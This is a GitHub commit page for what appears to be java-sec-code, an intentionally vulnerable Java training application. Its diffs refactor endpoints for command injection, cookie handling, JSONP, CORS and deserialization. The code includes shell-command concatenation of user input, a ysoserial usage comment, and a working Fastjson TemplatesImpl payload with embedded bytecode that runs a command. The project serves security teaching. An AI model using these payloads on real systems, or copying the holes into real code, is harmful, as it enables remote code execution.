Skip to content

Commit 33748f3

Browse files
JoyChou93JoyChou93
committed
bug fix
1 parent 039d0f1 commit 33748f3

File tree

13 files changed

+68
-54
lines changed

13 files changed

+68
-54
lines changed

‎README.md‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,9 +33,10 @@ Sort by letter.
3333
- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
3434
- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
3535
- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
36+
- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java)
3637
- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
3738
- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
38-
- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
39+
- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java)
3940
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
4041
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
4142
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)

‎src/main/java/org/joychou/config/Constants.java‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
package org.joychou.config;
2+
3+
public class Constants {
4+
5+
private Constants(){}
6+
7+
public static final String REMEMBER_ME_COOKIE = "rememberMe";
8+
}

‎src/main/java/org/joychou/controller/CRLFInjection.java‎

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -9,18 +9,17 @@
99
import javax.servlet.http.HttpServletResponse;
1010

1111
/**
12-
* @author JoyChou (joychou@joychou.org)
13-
* @date 2018.01.03
14-
* @desc Java 1.7/1.8 no CRLF vuls (test in Java 1.7/1.8)
12+
* Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8)
13+
*
14+
* @author JoyChou (joychou@joychou.org) @2018-01-03
1515
*/
16-
1716
@Controller
1817
@RequestMapping("/crlf")
1918
public class CRLFInjection {
2019

2120
@RequestMapping("/safecode")
2221
@ResponseBody
23-
private static void crlf(HttpServletRequest request, HttpServletResponse response) {
22+
public void crlf(HttpServletRequest request, HttpServletResponse response) {
2423
response.addHeader("test1", request.getParameter("test1"));
2524
response.setHeader("test2", request.getParameter("test2"));
2625
String author = request.getParameter("test3");

‎src/main/java/org/joychou/controller/CommandInject.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ public class CommandInject {
2222
* @return result
2323
*/
2424
@GetMapping("/codeinject")
25-
public static String codeInject(String filepath) throws IOException {
25+
public String codeInject(String filepath) throws IOException {
2626

2727
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
2828
ProcessBuilder builder = new ProcessBuilder(cmdList);
@@ -50,7 +50,7 @@ public String codeInjectHost(HttpServletRequest request) throws IOException {
5050
}
5151

5252
@GetMapping("/codeinject/sec")
53-
public static String codeInjectSec(String filepath) throws IOException {
53+
public String codeInjectSec(String filepath) throws IOException {
5454
String filterFilePath = SecurityUtil.cmdFilter(filepath);
5555
if (null == filterFilePath) {
5656
return "Bad boy. I got u.";

‎src/main/java/org/joychou/controller/Cookies.java‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -16,14 +16,14 @@ public class Cookies {
1616
private static String NICK = "nick";
1717

1818
@RequestMapping(value = "/vuln01")
19-
private String vuln01(HttpServletRequest req) {
19+
public String vuln01(HttpServletRequest req) {
2020
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
2121
return "Cookie nick: " + nick;
2222
}
2323

2424

2525
@RequestMapping(value = "/vuln02")
26-
private String vuln02(HttpServletRequest req) {
26+
public String vuln02(HttpServletRequest req) {
2727
String nick = null;
2828
Cookie[] cookie = req.getCookies();
2929

@@ -36,7 +36,7 @@ private String vuln02(HttpServletRequest req) {
3636

3737

3838
@RequestMapping(value = "/vuln03")
39-
private String vuln03(HttpServletRequest req) {
39+
public String vuln03(HttpServletRequest req) {
4040
String nick = null;
4141
Cookie cookies[] = req.getCookies();
4242
if (cookies != null) {
@@ -52,7 +52,7 @@ private String vuln03(HttpServletRequest req) {
5252

5353

5454
@RequestMapping(value = "/vuln04")
55-
private String vuln04(HttpServletRequest req) {
55+
public String vuln04(HttpServletRequest req) {
5656
String nick = null;
5757
Cookie cookies[] = req.getCookies();
5858
if (cookies != null) {
@@ -68,13 +68,13 @@ private String vuln04(HttpServletRequest req) {
6868

6969

7070
@RequestMapping(value = "/vuln05")
71-
private String vuln05(@CookieValue("nick") String nick) {
71+
public String vuln05(@CookieValue("nick") String nick) {
7272
return "Cookie nick: " + nick;
7373
}
7474

7575

7676
@RequestMapping(value = "/vuln06")
77-
private String vuln06(@CookieValue(value = "nick") String nick) {
77+
public String vuln06(@CookieValue(value = "nick") String nick) {
7878
return "Cookie nick: " + nick;
7979
}
8080

‎src/main/java/org/joychou/controller/Cors.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
package org.joychou.controller;
22

33
import org.joychou.security.SecurityUtil;
4+
import org.joychou.util.LoginUtils;
45
import org.springframework.security.web.csrf.CsrfToken;
56
import org.springframework.web.bind.annotation.CrossOrigin;
67
import org.springframework.web.bind.annotation.RequestMapping;
7-
import org.joychou.controller.jsonp.JSONP;
88
import org.springframework.web.bind.annotation.RestController;
99

1010
import javax.servlet.http.HttpServletRequest;
@@ -111,7 +111,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response)
111111
}
112112
response.setHeader("Access-Control-Allow-Origin", origin);
113113
response.setHeader("Access-Control-Allow-Credentials", "true");
114-
return JSONP.getUserInfo2JsonStr(request);
114+
return LoginUtils.getUserInfo2JsonStr(request);
115115
}
116116

117117

‎src/main/java/org/joychou/controller/Deserialize.java‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package org.joychou.controller;
22

3+
import org.joychou.config.Constants;
34
import org.joychou.security.AntObjectInputStream;
45
import org.slf4j.Logger;
56
import org.slf4j.LoggerFactory;
@@ -25,20 +26,19 @@
2526
@RequestMapping("/deserialize")
2627
public class Deserialize {
2728

28-
private static String cookieName = "rememberMe";
2929
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
3030

3131
/**
3232
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
3333
* Add the result to rememberMe cookie.
3434
*
35-
* http://localhost:8080/deserialize/rememberMe/vul
35+
* http://localhost:8080/deserialize/rememberMe/vuln
3636
*/
37-
@RequestMapping("/rememberMe/vul")
37+
@RequestMapping("/rememberMe/vuln")
3838
public String rememberMeVul(HttpServletRequest request)
3939
throws IOException, ClassNotFoundException {
4040

41-
Cookie cookie = getCookie(request, cookieName);
41+
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
4242

4343
if (null == cookie){
4444
return "No rememberMe cookie. Right?";
@@ -64,7 +64,7 @@ public String rememberMeVul(HttpServletRequest request)
6464
public String rememberMeBlackClassCheck(HttpServletRequest request)
6565
throws IOException, ClassNotFoundException {
6666

67-
Cookie cookie = getCookie(request, cookieName);
67+
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
6868

6969
if (null == cookie){
7070
return "No rememberMe cookie. Right?";

‎src/main/java/org/joychou/controller/Fastjson.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.JSONObject;
55
import com.alibaba.fastjson.parser.Feature;
6+
import com.alibaba.fastjson.parser.ParserConfig;
67
import org.springframework.stereotype.Controller;
78
import org.springframework.web.bind.annotation.RequestBody;
89
import org.springframework.web.bind.annotation.RequestMapping;
@@ -31,7 +32,6 @@ public static String Deserialize(@RequestBody String params) {
3132
}
3233

3334
public static void main(String[] args) {
34-
3535
// Open calc in mac
3636
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
3737
JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);

‎src/main/java/org/joychou/controller/jsonp/JSONP.java‎ renamed to ‎src/main/java/org/joychou/controller/Jsonp.java‎

Lines changed: 11 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
1-
package org.joychou.controller.jsonp;
1+
package org.joychou.controller;
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.JSONObject;
55

6-
import com.netflix.ribbon.proxy.annotation.Http;
76
import org.joychou.security.SecurityUtil;
7+
import org.joychou.util.LoginUtils;
88
import org.springframework.http.MediaType;
99
import org.springframework.security.web.csrf.CsrfToken;
1010
import org.springframework.web.bind.annotation.*;
@@ -15,8 +15,7 @@
1515

1616
import javax.servlet.http.HttpServletRequest;
1717
import java.security.Principal;
18-
import java.util.HashMap;
19-
import java.util.Map;
18+
2019

2120

2221
/**
@@ -26,22 +25,10 @@
2625

2726
@RestController
2827
@RequestMapping("/jsonp")
29-
public class JSONP {
28+
public class Jsonp {
3029

3130
private String callback = WebConfig.getBusinessCallback();
3231

33-
// get current login username
34-
public static String getUserInfo2JsonStr(HttpServletRequest request) {
35-
Principal principal = request.getUserPrincipal();
36-
37-
String username = principal.getName();
38-
39-
Map<String, String> m = new HashMap<>();
40-
m.put("Username", username);
41-
42-
return JSON.toJSONString(m);
43-
}
44-
4532
/**
4633
* Set the response content-type to application/javascript.
4734
* <p>
@@ -50,7 +37,7 @@ public static String getUserInfo2JsonStr(HttpServletRequest request) {
5037
@RequestMapping(value = "/vuln/referer", produces = "application/javascript")
5138
public String referer(HttpServletRequest request) {
5239
String callback = request.getParameter(this.callback);
53-
return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
40+
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
5441
}
5542

5643
/**
@@ -67,20 +54,20 @@ public String emptyReferer(HttpServletRequest request) {
6754
return "error";
6855
}
6956
String callback = request.getParameter(this.callback);
70-
return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
57+
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
7158
}
7259

7360
/**
7461
* Adding callback or cback on parameter can automatically return jsonp data.
75-
* http://localhost:8080/jsonp/vuln/advice?callback=test
76-
* http://localhost:8080/jsonp/vuln/advice?_callback=test
62+
* http://localhost:8080/jsonp/object2jsonp?callback=test
63+
* http://localhost:8080/jsonp/object2jsonp?_callback=test
7764
*
7865
* @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
7966
* Such as JSONOjbect or JavaBean. String type cannot be used.
8067
*/
81-
@RequestMapping(value = "/vuln/advice", produces = MediaType.APPLICATION_JSON_VALUE)
68+
@RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
8269
public JSONObject advice(HttpServletRequest request) {
83-
return JSON.parseObject(getUserInfo2JsonStr(request));
70+
return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
8471
}
8572

8673

@@ -112,7 +99,7 @@ public String safecode(HttpServletRequest request) {
11299
return "error";
113100
}
114101
String callback = request.getParameter(this.callback);
115-
return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
102+
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
116103
}
117104

118105

‎src/main/java/org/joychou/controller/URLRedirect.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,8 +83,8 @@ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse
8383
throws IOException{
8484
String url = request.getParameter("url");
8585
if (SecurityUtil.checkURL(url) == null) {
86-
// Redirect to error page.
87-
response.sendRedirect("https://test.joychou.org/error3.html");
86+
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
87+
response.getWriter().write("url forbidden");
8888
return;
8989
}
9090
response.sendRedirect(url);

0 commit comments

Comments
 (0)